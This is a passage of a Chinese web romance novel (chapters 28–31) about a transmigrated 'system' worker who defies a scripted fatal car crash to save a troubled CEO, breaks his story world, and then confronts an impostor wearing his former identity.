他跟见鬼了一样,又来来回回确认了好几次,最后委婉提示道:“贺总,后面跟着我们的法拉利,您有没有觉得有点眼熟?” 不是眼熟啊! 老板,这就是你的那辆车啊!马助理拧巴着一张脸,继续从后视镜里观察着后面的车。 贺煜臣微顿,虽然他觉得马助理可能看错了,但还是确认了一下。 等到贺煜臣看见那一抹熟悉的红色,他瞳孔猛地一缩。 法拉利不远不近地跟着他们,不知道跟了多久,也没有超车的意思。 贺煜臣:“停车!” 马助理已经达成了听到领导命令,就会毫不犹豫执行的条件反射了。 他一个右转,停在路边,随即发蒙地问:“贺总您车被偷了?” 那咱停车干嘛?直接报警抓人啊。 他几乎是停下车的瞬间,就看见“偷车贼”老老实实地打了一个转向灯,跟着他停在路边。 还怪遵守交通规则的嘞。 马助理摸不着头脑。 贺煜臣像是平复了一下心情,他推开了车门。 马助理在他身后喊:“贺总您去哪?” 不会是要跟小偷单挑吧?!马助理挽起袖子,在考虑要不要跟老板一起干架的可能性。 贺煜臣用手杖轻轻敲了敲副驾驶的门,车窗降了下来,露出秦越的脸。 秦越:“上车。” 贺煜臣站在原地没有动,他语气中带着不解:“你为什么不走?” “因为还有别的更重要的事情。” 秦越心想,我在救你小命,走不了啊。 贺煜臣自己都没意识到,他眼里闪过的一丝期冀。 明明自己给了他离开的机会。 为什么他要回来? 秦越不耐地拍了拍方向盘:“你到底要不要上来?” 他现在精神高度紧张,感觉哪哪都能蹦出来个危险,然后把贺煜臣噶了。刚刚看见马助理突然停车,他还以为出了什么事情。 两个人互相对视了半天,贺煜臣败下阵来,坐到了副驾驶上。 他人看上去是坐在这里了,思绪早就飘到不知道哪去了。 秦越跟他说话,见到贺煜臣一副爱搭不理的模样,心想估计因为之前的事,看自己膈应。于是直接侧过身,随手拽过贺煜臣颈侧旁的安全带。 咔嗒。 安全带扣入卡槽发出一声轻响。 贺煜臣回过神:“……谢谢。” 秦越:“呃,不客气?” 分明不久前,两个人还闹得很难看,现在又心平气和地坐在一起。 秦越把手机顺手递给他,“我不知道你去哪,把位置输一下。” 贺煜臣拿着秦越的手机,不敢乱动,怕滑出了当前界面,看到什么不该看的东西。 秦越乐了:“你捧着炸弹呢?那么紧张。” 贺煜臣拘谨地输完地址,就把手机放回去,“不想看到你跟别人的聊天记录。” 这是在点他吗?秦越头顶一口原主的黑锅,有种百口莫辩的憋屈感。 “我列表就你一个好友。” 本来一开始是只把原主养的鱼屏蔽消息了,后来打算走了之后,直接让系统把列表都清空了。 不知道出于什么心理,他没有删掉贺煜臣。 也许是因为在这个世界里,秦越唯一熟悉的人,只有贺煜臣。 贺煜臣当然不信,他冷笑一声:“你现在骗我又有什么用?” 太晚了。 而且这种甜言蜜语也太低端了。 秦越觉得马上就要六月飞雪了,恨不得强制命令贺煜臣立刻打开他的聊天软件,以证清白。 等到一个红灯,秦越在贺煜臣惊讶的目光中,把手机打开给他看,末了还带着气性笑着说:“贺总,相信了吗?” 原来秦越也会因为被冤枉而生气吗? 贺煜臣就像拿到一个名为秦越的拼图,一点点拼凑关于他的一切。 他也恨自己一哄就好,明明贺煜臣也清楚,秦越就像其他人说的那样恶劣。 可能只是因为他犯病了,才会把秦越当成自己幻想出的人。 贺煜臣悲哀地想,他已经分不清现实和妄想了,爱上了一个不存在的人。 而且……这个幻想出来的人,又开始表现出自己没法拒绝的一面了。 这算是饮鸩止渴吗。贺煜臣自嘲地笑了一声。 一分钟之后,两个人又回到了之前的诡异沉默中。 系统又不需要开车,它完全没事干,觉得氛围尴尬得要命,于是申请道:[我能看电影吗?] “不行。” 系统:[那看小说呢?] 它最近要申请全能型系统,现在不仅要熟读狗血小说,还需要拓宽其他的世界辅助能力,它还有一本打脸小说没看完。 秦越冷漠拒绝:“你现在只能看剧情修正点到底什么时候发生?” 系统无法理解人类总喜欢干多余的事情:[您这是让我干多余的活,本来贺煜臣就一定会死在今天下午。况且他如果死了,正好任务的偏离度100%了。] “一定?”秦越凉凉地瞥了系统一眼。 系统看到秦越那么坚持,还是尊重了一手优秀员工的决定,[剧情修正点出现了好多,您要是想让他活着,就得一直当个影子跟着他,您做不到的。] 秦越一点都没有被系统的话打击到,“没试就说做不到?我倒是想看看这个破世界,能干出多不合理的事情,让他去死。” 好吧好吧。 系统简直要被秦越这种看见老天爷不爽,都要给老天爷几拳头的态度给搞麻了。 当你的宿主是个反骨仔的时候,你也只能陪着去给他呐喊助威了。 [让我看看,第一个剧情修正点出现在二十分钟前,大概就是马助理停车的时候前后。第二个修正点出现在十分钟前,就是您非要证明自己清白,所以减速没有赶上那个绿灯的时候,接下来,应该是现在了……]系统忍不住挠头,[好有规律啊,怎么都是十分钟。] 秦越捏紧了方向盘,导航上蛛网般的路线图,让他感受到熟悉的窒息感。 “因为这个街区有数条跟我现在行驶道路的垂直街道,从那个街道的街头到我这条路,正好需要十分钟左右。” 跟修正点发生的时间,如此贴近。 秦越已经明白了。 世界的修正点是一场车祸。 它会发生在贺煜臣经过十字路口的时候,直接干脆地夺走他的性命。 十分钟。 那么的短时间,就可以轻而易举的抹去一个人存在二十多年的痕迹。 就因为贺煜臣不是主角。 多可笑的理由。 秦越看见近在眼前的十字路口,那么的普通寻常,完全看不出马上就会发生惨烈事故的样子。 看到秦越的表情瞬间,系统有种大难临头的感觉。 操蛋啊,这个大难貌似是奔着它一个人来的。 [宿主,您先等等!咱们在这个路口停下来,再商量一下……] 秦越偏过头,看见贺煜臣的侧脸。 贺煜臣的睫毛很密,此刻因为专注而低垂。 他正在处理工作上的事情。 哪怕因为之前跟秦越弄得很不愉快,他也没有在车上跟秦越继续那晚的话题。 仿佛那天晚上的失控,是他唯一在行程表上,圈出处理自己感情问题的时间。 几乎是下一秒,秦越收回了视线,决绝地告诉系统,也是告诉这个世界。 “等不了了。” 既然避无可避,那就只能赌一把了。 秦越盯着那个绿灯,“你说过,员工本体是不会死在小世界里的。” 助攻总局会因为出于保护员工人身安全的条款,不会让他死在车祸里。 所以只要他开车经过这个路口,就一定不会发生车祸。 秦越要借助这个条款,卡出一个bug出来。 系统疯狂捶秦越的肩膀:[你确实不会死,但是一定会出现我认知以外的事!] [以前从来没有员工那么干过,等一下,你不要命啦,我们这边死遁好歹还要先打个报告啊啊啊啊啊——] 它话还没讲清楚,就看见闯了红灯直直撞过来的水泥搅拌车,一句话在它嗓子里卡成了尖叫。 眼前的世界瞬间变成了被撕裂的画布,在秦越眼前分解成光怪陆离的光块。 一道空灵遥远的声音带着些许卡顿,宛如神谕临空低鸣。 【检、检测到当前世界出现……波动,气运流向大幅度偏、偏离。】 秦越跟系统面面相觑,系统慌张摇头:[不是我在说话哇。] 无数物体违背物理规律,失重悬浮或是保持着碎裂的状态,静止在空中。 世界的裂缝中涌出令人眼花缭乱的二进制数据,系统的投屏上已经全是没有意义的乱码。 滋滋滋—— 刺耳的红色警报将秦越瞳孔染出一片血色。 【警告警告!本世界男主已被新人物所取代,原男主及其白月光剧情取消作废。】 【1027号员工,请注意,您需要助攻的白月光已进行同步调整。】 作废?调整? 秦越迟疑地抬起头,凝视着声音传来的方向。 冰冷的机械音播报了最后一句话: 【您本次任务的助攻对象是——】 【您自己。】—— 作者有话说:马助理:打工人 系统:打工统。 秦越:反骨仔。 贺煜臣:反骨仔反骨的具体原因。 第29章 在那个声音讲完话之后,整个世界的暂停被解除了。 碎裂的世界瞬间重组整合,恢复到了正常状态。 秦越压根没反应过来对方说了一通什么,只是凭着本能,想在车子撞上来的时候,拿自己作为缓冲护住贺煜臣。 他刚伸出手,甚至还来不及说上一句话,就被一股奇怪的力量扯了出去。 失重的眩晕感褪去后,秦越差点以为自己瞎了。 好黑。 秦越刚在心里想完这句话,系统拍了自己脑壳一下,变成了一颗光球。 系统非常人性化地骂了一句:[我靠,这是哪?] 秦越:“贺煜臣还活着吗?” 系统抓狂:[不是,我们还活着吗?] 秦越纳闷:“你算是有生命的东西吗?” [您别骂人!我也是活的。]系统鼓捣着自己的工作平台,试图跟总局联系,[刚刚您可能、也许把世界整裂了,我们应该是掉到哪个未知空间了。] 看着秦越满脸再不回答,就把你当成史莱姆捏的表情,系统立刻投降:[您别急。作为白月光助攻系统,我确实可以调成观察视角,从而查看主角或者白月光的镜头。] 秦越反应过来一件事,“等等,我在这里,那这个世界的我是谁?” 系统思索片刻,[自然是原主呀。您忘了您是穿越过来,顶替了原主的身份吗?] 原主? 你别告诉我那个海王现在跟贺煜臣在一起? 秦越难以置信。 系统把半透明的屏幕展示在秦越面前:[您看,偏离度99%!这证明贺煜臣现在确实跟白月光在一起。]- “秦越”匆匆扫了一眼完小鱼1号的消息,他挑剔地看着对方发来的巴宝莉围巾。 “啧,这个款式,都烂大街了。”他心里这么想着,手指却丝毫不停。 【好看的。我下午有空,不过只能抽出来一刻钟。因为我还要拍杂志,比较忙啦,见谅见谅。线条小狗打滚.jpg。】 随便应付一下,差不多得了。 “秦越”继续审视着鱼塘里的小鱼2号,他嘴角微翘,回复道:【亲爱的,你太贴心了,这个CHOPARD太阳镜我很喜欢。晚上老地方见,记得带上身份证哦。#爱心##爱心#。” 手杖点地的声音近到耳侧,“秦越”才猛地反应过来,他做贼似的息屏。 贺煜臣像是没有看见他在干什么。 “秦越”松了一口气。他暗自下定决心,下次要记得弄个防窥膜。 “喝一杯。”贺煜臣语气带着不容拒绝,似乎并没有给“秦越”拒绝的机会。 “秦越”记不太清楚自己是怎么钓到贺煜臣这条大鱼的,可能因为太顺利了,反而让他有点做梦的恍惚感,所以记不清细节。 他受宠若惊地接住酒杯,接着特意调整了一下角度,露出自认为更好看的侧脸对着贺煜臣。 贺煜臣面无表情地看着“秦越”把一杯酒喝得一滴不剩,随后讨好似的望向他。 贺煜臣没有说话,平静地离开了。 他像是想逃离什么一样,但又不知道去哪。 身后的“秦越”是面目可憎的怪物,而眼前也全是此路不通。 这不是他的秦越。 他的秦越不会喝酒,也不会背着自己跟别人暧昧。 ……更不会如此低眉顺眼。 贺煜臣颤抖着,翻出自己的药,吞了下去。 呼吸变得平缓之后,他拿出手机朝着一个联系人发去消息。 那个人头像有着跟“秦越”相近的侧脸。 可是等来等去,贺煜臣等到的永远只有一句: 对方账号已无法使用。 贺煜臣定定地看着系统发来的冰冷通知,缓缓滑坐到地板上,将自己蜷缩成一团。 他沉默地将头埋在自己臂弯里,整个人都透露着一种濒临极限的崩溃。 秦越静静地看着他,停顿了很久,又看了一眼屏幕。 【偏离度1%。】 系统目瞪口呆:这不是真的,这一定是噩梦。 它摇晃着屏幕,试图把数值晃回99%。 秦越也是受够了被困在这个鬼地方,他只能被迫选择看“秦越”或者看贺煜臣。 可是看贺煜臣,除了让难过的人从一个变成两个,没有任何用。 至于看另一个跟他长得相近的人,秦越:“……” 火大。 在这个暗无天日的空间里,唯一的光亮是系统。 十分瞩目,也十分好抓住。 秦越捏住系统,“能不能把我送回去?” 他受不了这个人顶着这张脸,做着人渣的事情了。 系统害怕自己要被丢保龄球一样地丢出去,它高声疾呼:[再想办法了,再想办法了!] 系统后台忙得都要冒火花了,赶忙跟总局汇报情况。 总局那边冷漠传来几个字:[繁忙中,请等待。加急请按#号键。] 系统毫不犹豫地狂按。 总局那头传来一个女声,“你好,请问是哪一个小世界出了问题?” 系统听到了救星的声音,热泪盈眶:[是1027号员工所在的小世界!分类是在狗血文里,麻烦快一点啊!] 女声迟疑了一下,“我再跟你确认一下,是1027号员工所在的世界吗?” 被秦越拿捏的系统,嗷嗷点头:[没错没错,我宿主把那个世界玩出bug了,现在直接崩出一个新世界了,明明任务完成条件已经达成了,但是剧情偏离度一直在1%—99%之间跳跃。] 对不起了,宿主,我要叛变了。系统心中悔过几秒钟,立刻悄咪咪地问对方:[我就想问问,我们能不能直接脱离。] 跟秦越做任务,太需要大心脏了。 总局的接线员似乎离开了通讯器前,跟旁边的人说了几句话。 她声音很小,也很模糊。 系统只能零星地听到几句话。 女声:“……好像又匹配上了……” “对……还是一样的人。现在……继续……测试吗?” “好的,我明白了。” 系统期待地等着接线员回来。 “我查清楚了,1027号所在的世界出现变化,因剧情大幅度偏离,变成了一个新世界。你们是被困在新世界的裂缝里了,我这边会协助你们出去,继续完成任务即可。”悦耳的声音,在系统耳朵里跟恶魔低语一般。 系统顿觉不妙:[您要不要再看看呢?!我们偏离度应该是完成了的啊!] 接待员礼貌地流程性回答:“从目前来看并不稳定,如果要强制脱离小世界,请让你的宿主跟我们谈话。” 系统咽了口口水,心虚地看了一眼秦越,道谢挂断一气呵成:[好的好的,我知道了,麻烦您让我们出去吧。] 秦越狐疑地盯着系统:“你说什么呢,讲了那么久?” 系统打了个哈哈:[没啥没啥,人家又不知道我们出了什么问题,也是需要一点时间确认的嘛。] 两个人在助攻局的帮助下,终于从裂缝中逃了出来。 外面是正常的城市道路,阳光明媚,车水马龙。 系统左瞅瞅右看看,之前的剧情在它这已经是废纸一张了:[这是要去哪啊?] 秦越想点开原主的消息,看看这位海王的聊天记录,大概就能知道他这次又是约见谁了。 可是列表空荡荡的,只有一个熟悉的名字孤独地躺在那里。 这是怎么回事? 他怎么拿的不是原主的手机? 系统恍然大悟:[我懂了,因为原世界不存在了,现在是一个以贺煜臣作为男主的新世界。而在这个新世界诞生时,您就在原世界里,所以世界潜意识把您当成了原住民……] 自然就不需要顶替别人的身份,才能在这个世界行动了。 糟糕糟糕。 系统哐哐撞大墙,它本以为会很容易的,出裂缝之后就能穿到原主身上,然后轻松搞定任务。 但现在有两个秦越了啊!系统怨念地挂在宿主肩膀上。 秦越丝毫不理会系统绝望的情绪,他被贺煜臣发来的消息吸引了注意力。 他点开聊天界面,里面有很多没什么意义的聊天。 秦越想到贺煜臣像个老妈子一样,絮絮叨叨地说那么多话,觉得好笑又心酸。 看到后面,他开始喉咙发紧,最后只能麻木地看着那些留言。 【今天又下雨了,我还记得从Wrongframe定完衣服的那天,也是那么大的雨。】 【你湿漉漉的,像一只游完泳的小狗。】 【……我也不知道为什么要说你是小狗,我最近很难集中注意力,记性也很差。】 【啊,说到游泳,那个泳池我翻修过了,希望你会喜欢。】 【所以,你什么时候能回来?】 【……】 【今天医生说我卡普格拉妄想症更严重了。她让我远离那个人,免得因敌意做出过激举动。我跟说她说,我知道那不是你,所以自然也不会对他做什么。】 【可是说完之后,方医生脸色没好到哪去,也可能是更差了。她又给我开了新的药,告诉我要听医嘱。】 【其实我确实是不听医嘱的病人,因为我并没有把幻觉都告诉她。】 贺煜臣没有跟医生说的是,肇事车在十字路口横冲直撞过来后,他看见了十四岁时,邻座的母亲因为失血过多,逐渐变冷的身体。 黏腻的血液在这一瞬间,仿佛又变得触感清晰。 他甚至来不及害怕,记忆的碎片纷至沓来,把他死死困在了少年时的那场车祸里。 轮胎与地面摩擦的尖啸忽然听不见了,记忆中的画面也陡然消失。贺煜臣在错愕中看见秦越侧过身,似乎想伸出手将他护在自己的血肉之躯下。 终于…… 终于再一次有人愿意奋不顾身地朝他伸出手了。 贺煜臣不愿意承认这些是虚假的幻觉。 因为这是他关于那个人,最后的记忆了。 第30章 柳之妍觉得最近“秦越”有点小人得志。 磨磨唧唧摆个架子,三请四邀地才决定回到奇点映画,现在更是过分,拍摄已经迟到俩小时了,全剧组都在等他一个。 可是这也是没办法的事情。 助理端着一杯冰美式,风风火火地回到柳之妍的保姆车,“柳姐,秦越好像到了,不过还没有化妆做造型,估计还要等个一个小时。”她把咖啡放在柳之妍面前。 柳之妍恨恨地咬着吸管,旁边的经纪人无奈道:“背靠大树好乘凉嘛,谁让他靠山太硬了。” 说到靠山,柳之妍也是啧啧称奇,虽然她不怎么关注商界的事情,但前一段时间贺氏的董事长换任,其过程可以说实在精彩。 先是董事长候选人贺煜臣出了一场车祸,不过他福大命大,据说混凝土搅拌车直接把他的座驾撞成了两截。不过他居然只有点外伤,完全没有影响他参加股东大会。 接着没几天,又爆出贺氏原董事长贺长天买凶杀人,肇事司机眼看没撞死人,知道自己拿不到报酬了,为了从宽处理,直接把贺长天雇他杀人的事情,交代的一清二楚。 “原来商战就是那么朴实无华吗?”柳之妍简直无语。 助理忍不住多嘴:“总比浇死对家的发财树,听起来靠谱点。” 柳之妍喝完咖啡,觉得又活过来了,今天天气很热,还拍的是古装,身上叮铃哐当的装饰搞得她心烦。 “柳姐,刚刚路过秦越那边的时候,听他显摆说贺总会来探班。”助理提示道。 柳之妍垮着一张脸,“真是走了狗屎运。” 过了一段时间,场务来人通知她要开始拍摄了。 柳之妍走到“秦越”身边,端着职场假笑。 她故作八卦,实为吹捧道:“前几天那个热搜说得是真的吗?你们现在是什么关系呀。” 热搜起码挂了一天,说是“秦越”入住了贺煜臣位于怀江山的庄园。 不提还好,一提“秦越”脸色僵硬起来。 实际上那并不是入住,而是贺煜臣让他搬出去了。 他还不知道怎么惹到贺煜臣了,但又不能让别人知道这件事,只好买通狗仔,把拖着行李箱离开的照片,颠倒黑白说成是搬进去的。 柳之妍并不知情,还继续大力地“拱火”:“听说贺总今天会来探班,他是有意向投资我们这部剧吗?” 有了贺氏的加盟,他们这个A级电视剧也许就有机会直接升咖,提到S级。 “秦越”本来就是为了让自己有面子,才瞎说会探班的,他不自然地笑了笑:“这得看他下午有没有时间,你知道的,他最近很忙的。” 柳之妍一脸我懂我懂的表情,“换任期间确实要解决很多事情。” 系统窝在角落,看着两个主演顶着导演要吃人的目光,还在旁若无人的聊天:[柳之妍这是在巴结原主吗?] 听到原主此刻住在怀江山的秦越,微微挑眉。 “你确定我们在这能等到贺煜臣?” 系统又怂又不敢发火,明明让你发个消息给贺煜臣,两句话就能说明情况的事情,你就是不干。 非要说贺煜臣精神状态不好,要是看见无法使用的账号回消息给他,觉得自己又犯病了怎么办。 [是呀,原主也说了,贺煜臣会来探班。]系统也没办法,贺煜臣最近连家也不回了,秦越甚至都不能在他回家的路上守株待兔。 去贺煜臣的公司,前台只会客气告知,没有预约是不给进去的。 秦越此时正安静地躺在地上装尸体。 没错,他混进了剧组当了个群演。 秦越不知道为什么有点来气:“他不也说不确定吗?而且贺煜臣凭什么来。” 凭这个冒牌货吗? 要是贺煜臣来了,他估计更气了。 现在秦越的心境变成了,既希望能见到贺煜臣,又希望他不要来。 导演咬碎了牙,本来“秦越”就已经迟了很久耽误了进度,还在这跟别人闲聊,但因为忌惮贺煜臣,又不敢朝他发火。 不过“秦越”来拍戏那么久,他还一直没见到贺煜臣。“秦越”一直说贺煜臣会来探班,结果直到今天,自己也没见到正主的影子。 导演混迹娱乐圈多年,直觉不对:“我怎么一直没听说过贺总承认过你们的关系?” 狗仔可能找不到证据,但要是真有这件事,圈内不可能一点风声没有。 “秦越”脸色一白,摆弄着衣袖,“怎么会不想承认?不想承认的话,他能容忍那些小报乱写?” 事实是贺煜臣确实不在乎。 他好像就没有在乎的人。 导演一想也是,但眼见为实,他始终不放心,“听说贺总喜欢金骏眉,我特意托人买了一些,想今天当面交给他。”他翻开分镜稿,钢笔尖在稿子上敲了敲,“小秦你也知道,这部剧本来男主不是你的。” “秦越”指尖掐入掌心,导演的话让他跟架在火上烤一样煎熬。 导演没有任何退让的意思,他只好当着导演的面,硬着头皮打出了电话。 桌面上的手机显示出了一个号码,贺煜臣没有给这个号码备注名字,但是这串数字他并不陌生。 贺煜臣看见“秦越”的来电,并没有接的意思。 秦越从来不会主动给他打电话,贺煜臣漠然地想着。 铃声在空荡的室内一遍又一遍的响着。 “秦越”已经要满头大汗了,导演看他眼神逐渐变成怀疑,他只能假装没看见,想继续拨通那个号码。 在这一次拨号前,他先给贺煜臣发了消息,“贺总,是我们导演想见您,并不是我想打扰您。目前这个电视剧,奇点映画投入了很多精力,剧本改编的小说也是有基本盘的。” “今年特别火的那个动画电影,不知道您看过没,我们导演还担任过那部电影编剧,所以投资这部电视剧,我相信绝对是共赢。” 发完消息,“秦越”想扇自己一巴掌,贺煜臣怎么可能会去看动画片! 他刚想撤回消息,电话却出乎意料地被接通了,贺煜臣的声音听不出喜怒,“等我半个小时。” 贺煜臣又看了一眼“秦越”发来的消息。 秦越倒是会喊他贺总。 但大部分时候,要么是开玩笑,要么是带点阴阳怪气的味道。 他一般会直接喊自己的名字。 在旁人看来,会显得秦越不知好歹,但贺煜臣喜欢这份亲呢熟稔。 “秦越”不知道哪点说动了他,不过终归是解决了一个大麻烦,赶忙跟导演说:“他说半个小时之后过来。” 系统当起了传话筒,[您看,等半个小时就好了。] 秦越试图从地板上爬起来,然后扭头就走。 系统终于逮到机会嘲讽秦越了,[您这是近乡情怯吗?] 秦越:“不是。” 他想在路上截胡贺煜臣,让对方来不了片场。 坚决要断绝贺煜臣任何可以跟人渣见面的机会。 秦越旁边的群演捣了捣他的肩膀,“哥们,别乱动,我脸上的血浆全蹭你衣服上了。” “……噢。” 群演见到秦越搭理他了,闲侃了几句,“真羡慕这群大牌,想迟到就迟到。我们在这都不知道躺多久了,就为了等他们。” “……嗯。” “热都快热死了。哎,兄弟你干这行多久了?” 秦越冷漠脸:“半天。” 导演开机了,秦越现在是具不能动的尸体。 等到这个大场面拍完,有脸部特写镜头的演员才纷纷从威亚上被放下来。 场务从外面小跑进来,低声跟导演说了几句话。 导演腾得一下站起来。 秦越也腾得一下从地上爬起来。 系统给他打气:[不许临阵脱逃啊啊啊——] 导演吩咐场务几句话,立刻亲自跑到外面,把来的大佛接进来。 可惜这尊大佛懒得客套,拒绝了导演想详谈的心思。 贺煜臣慢条斯理地打量了几眼导演,仿佛他过来,就只是看看对方长什么样。 场务端着导演吩咐的茶水走了回来,这个场地挺大,坐的地方却很少。 导演毕恭毕敬站在一般,把自己的椅子让给了贺煜臣。 刚才跟秦越搭话的群演,因为导演没有说让他们起来,所以还规规矩矩地躺在地上,“嗬,你看导演狗腿不?” 他侧躺着,瞅见私底下被称为活阎王的导演,现在满脸堆着笑,看着陌生得很。 秦越只是看了一眼,就再也没有移开眼。 他呼吸一下子变得很轻。 贺煜臣……好像变瘦了,眼神也变得很疲惫,整个人都带着一股暮气。 明明还不到三十岁,但却一副了无生趣的模样。 “贺总?贺总你的手!”马助理惊慌失措地递来纸巾。 贺煜臣才发现自己手抖地太厉害,热茶已经从指缝中渗出,烫得皮肤一片薄红。 但他所有的感官都集中在不远处站起来的身影上。 哪怕男人的脸上还带着演戏用的假血浆,但看向他的目光是那么的熟悉。 跟记忆里的分毫不差。 秦越朝贺煜臣做了个手势,示意自己正在努力跨过一群“尸体”,让他等一等。 但贺煜臣明显是等不了了,几乎是迫不及待地朝着秦越的方向走去。 见状,秦越只好加快速度,赶在贺煜臣迈进拍摄现场前,接住了跌跌撞撞,像是第一次学会走路的贺煜臣。 贺煜臣仰起头,抬手慢慢抚过秦越的五官,他的手指遮住了斑驳的光影,一点点地感受着指腹下的体温。 忽然贺煜臣收回手,不管不顾地将人拽进自己怀里。 秦越的衣服硌得贺煜臣难受,可是他依旧在努力收紧手臂。 直到没有空隙,心跳合二为一。 秦越身上都是假血浆,只能尴尬地把手垂在半空中,“我身上好脏,你要不先松手。” 贺煜臣觉得自己胸腔泛起细密的酸胀,不知道什么时候,他突然有了软肋。 他听见自己哽咽的声音,“你去哪了?” 秦越缓缓叹了一口气,自己似乎逃不出墨菲定律。 他总是适得其反,让贺煜臣难过—— 作者有话说:下章这个小世界结束惹 新世界身份卡:心理扭曲反派×重生复仇男主魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 秦越还在计较贺煜臣听冒牌货的话,一口气咽不下去:“你为什么会来?”他没有意识到自己在纠结什么,就是单纯地觉得心里不痛快。 贺煜臣死死攥住秦越的手腕,好像怕他下一秒就跑了。 他睫毛颤动着,嘴上却故作轻松地说:“来看看你喜欢电影的编剧到底是个什么人。” 贺煜臣口中的编剧,也就是本剧的导演,在十几米开外静静的石化了。 “这个群演是谁?”导演拽着旁边的场务问道。 场务只能挠头:“一天好几场戏,几十上百个群演,我哪知道谁是谁啊?” 柳之妍阴阳怪气地哼了一声,音量不大不小,正好周围的人都能听见,“原来贺总探的是这位的班啊。” 导演也不是傻子,他拿着剧本瞥了一眼“秦越”,装作没看这个人,走到贺煜臣身边,“贺总,这位是?” 秦越打断导演的话,怕他扯起来就没完没了:“我只是来体验生活的。导演我先走了,工资日结别忘了。” 导演眼皮直跳,心想你们这关系,还惦记着我这点群演工资吗? 他根本来不及说出挽留的话,就眼睁睁地看着两个人迫不及待地离开了,好像他这个剧组里面有什么脏东西。 导演气哼哼地坐回到自己的位置,摊开剧本,大笔一挥,“我决定从现在改成大女主剧本,至于你……”他阴恻恻地看了“秦越”一眼,“我要换人了。” 马助理还没看清楚这个血人长啥样,立马被老板无情抛弃,甚至车也没给他上。 他在原地怨念地看着两人,坐上车扬长而去。 mua的,马助理欲骂未骂的时候,发现贺煜臣发了一笔转账,备注上写着打车费。 马助理数完四个零后,心情舒畅了。 在回怀江山的路上,“去哪?”秦越忽然挑了挑眉道:“我不想住别人住过的房间。” 贺煜臣:“……没有别人。” 他家难道不是只有秦越长期住过。 秦越眉头挑的更高:“真的没有人睡过我的床?” 贺煜臣不知道秦越为什么那么问,但还是有问有答,“没有。” 贺煜臣用湿巾终于把秦越脸上的血浆擦完了,等到一停手,秦越开始翻旧账,“我在片场听到了,男主演可是说住在你的怀江山庄园,网上也是那么说的。” 贺煜臣一愣,然后说:“你等一下。” 他分别给几个人发了不同的消息,过了一会,贺煜臣对秦越说:“现在网上搜不到了。” 重点是网上怎么说的吗?! 秦越只想大喊一声:转人工。 自己像是想发火,却一拳打在棉花上了。最可气的是,对方还一脸无辜。 秦越抓着方向盘,假装自己在掐原主的脖子,“你就没什么想问我的?” 看见出现两个差不多的人,你难道不好奇吗? 贺煜臣疑惑:“问什么?” 秦越脸上表情变来变去,最后停在了无语上:“比如问我去哪了?再比如……那个人跟我有什么关系?” 贺煜臣嘴角抬了抬,依旧是没什么触动的样子,“如果你想说,你肯定会主动跟我说的,如果你不说,我就默认你不想告诉我。” 这话刚说完,发呆的系统咦了一声,[1027号,您好像也说过类似的话。] 那是很久之前,秦越看见了贺煜臣慌张之下,掉落在床底的精神类药物。 当时,秦越说:“他不想让我知道,那我就不知道。” 他们从某种意义上来说,是同一类人。 车子又转了一个弯,偏离原地的路线。 “我有个地方想去。”秦越说道。 贺煜臣:“……”上次秦越这么说的时候,把他拉去了游乐园。 但不得不说,他心里还有些隐隐的期待。 映着晚霞的江面被夕阳揉碎成万点金箔,远处怀江山露出青黛色的褶皱,像是水墨画晕染出深浅不一的山脉。 其实邮轮的票早就预售完了,但还好这家邮轮公司是在贺氏旗下,让他们赶上了黄昏时的最后一班。 邮轮划开丝绸般的水纹,缓缓前行。 秦越站在甲板上,前额的碎发被风掀成了浪,露出光洁的额角,他冷静地说道:“如果我说我不是这个世界的人,你会不会以为我疯了。” 贺煜臣同样很冷静:“不会。因为我的心理医生说我已经不正常了。” 难以启齿的秘密,被两个人说笑话一样,讲了出来。 秦越没忍住笑了一声,“不过要是跟你的医生,解释我真不是你幻觉这件事情的话,我可能得被安排跟你一起吃药了。” 他语气轻松,仿佛贺煜臣说的是普通小事。 贺煜臣既想告诉秦越自己真的有病,却又怕吓到对方,难受的情绪再一次拧在一起,他低声固执地说:“我说的是真的,我有环性心境障碍,医生说有15—50%的比例可能会发展成双相。” “嗯。”秦越笑了一下,“我早就知道了。” 他的话安稳服帖,像永远不会过期的镇静剂。 早就知道了? 贺煜臣想到了那片掉在夜色里的药。想说些什么,但指尖抖了半天,才挤出几个字,“你不觉得,跟我这样的人在一起很危险吗?” 秦越意识到了贺煜臣的情绪不对,他皱眉:“别这么想,你没有伤害别人,至少没有对我做什么。” 不对,不对…… 我差点失控,让你死掉。贺煜臣喘了一口气,抓着秦越的手,像握着最后的希望,“我再也不会那样做了,我不是想把你关起来的。是因为那只猫……” 秦越安抚地摸着他的脊背,“别急,我知道那只猫的事情,不怪你。管家告诉我了,它是被车撞死的。” “不是的。”贺煜臣摇着头,“是因为我把窗户打开了,它才会出去……我其实想给它自由,我知道它不喜欢被关在那间房子里。” 是我的错。贺煜臣双眼通红,里面都是自责。 秦越慢慢顿住了动作。 怪不得,原文贺煜臣会偏执地把人囚禁起来。 因为有了前车之鉴,所以才会笨拙地想把重要的东西留下来。 “不是你的错,只是……”秦越不知道怎么安慰他,突然觉得自己也开始变得笨拙起来,“只是它命不好。” “我命硬着呢,肯定长命百岁。”他第一次觉得自己笨嘴笨舌,“我也没有那只猫那么傻,我走路都是走人行道的……” 秦越想跟系统说自己打算留在这个世界。 他还没开口,系统兴冲冲地展示偏离的进度条,[快看!不知道什么时候,已经从1%开始往上涨了!] 简直是坐火箭的速度。系统满意地点评。 不太想打击系统,秦越把想问的话咽了回去。 系统语气中带着兴奋:[1027号员工,目前偏离度已达到90%。] 无论现在脱离,还是等到100%强制脱离,都没有什么太大的区别了,只是时间问题。 也许晚上就可以100%,系统也不是很着急地催促秦越离开。 秦越静默一瞬,他忽然意识到,这个世界并不是他想留下来,就可以留下。 顶层甲板的栏杆似乎还带着白天的余温,在船舶长长的鸣笛声中,秦越喊出了贺煜臣的名字,他听见自己声音沙哑地不像话,“你少喜欢我一点,好不好。” 贺煜臣觉得自己心里也跟着响起了警报声,有什么东西重重地沉了下去,“我以为……” 我以为你愿意回来,是也有那么一点喜欢我。 警报声愈发的刺耳,像积聚了很久的恐惧在这一刻,终于脱离了主人的控制。 贺煜臣木然地想,他又要失去秦越了。 秦越认真地看着贺煜臣的眼睛,“一点点就好。” 贺煜臣用尽全身的力气,没有让自己露出受伤的表情:“……好。如果这是你想要的。” 看见面板上的数字终于卡在99%,没有更进一步,秦越大大地松了一口气,他没想到贺煜臣那么听话。 秦越有种又卡成功了一个bug的得意感,随即悄悄地抬了抬手指,把悬浮面板关掉了,“这一点点你以后慢慢补给我就好了。” 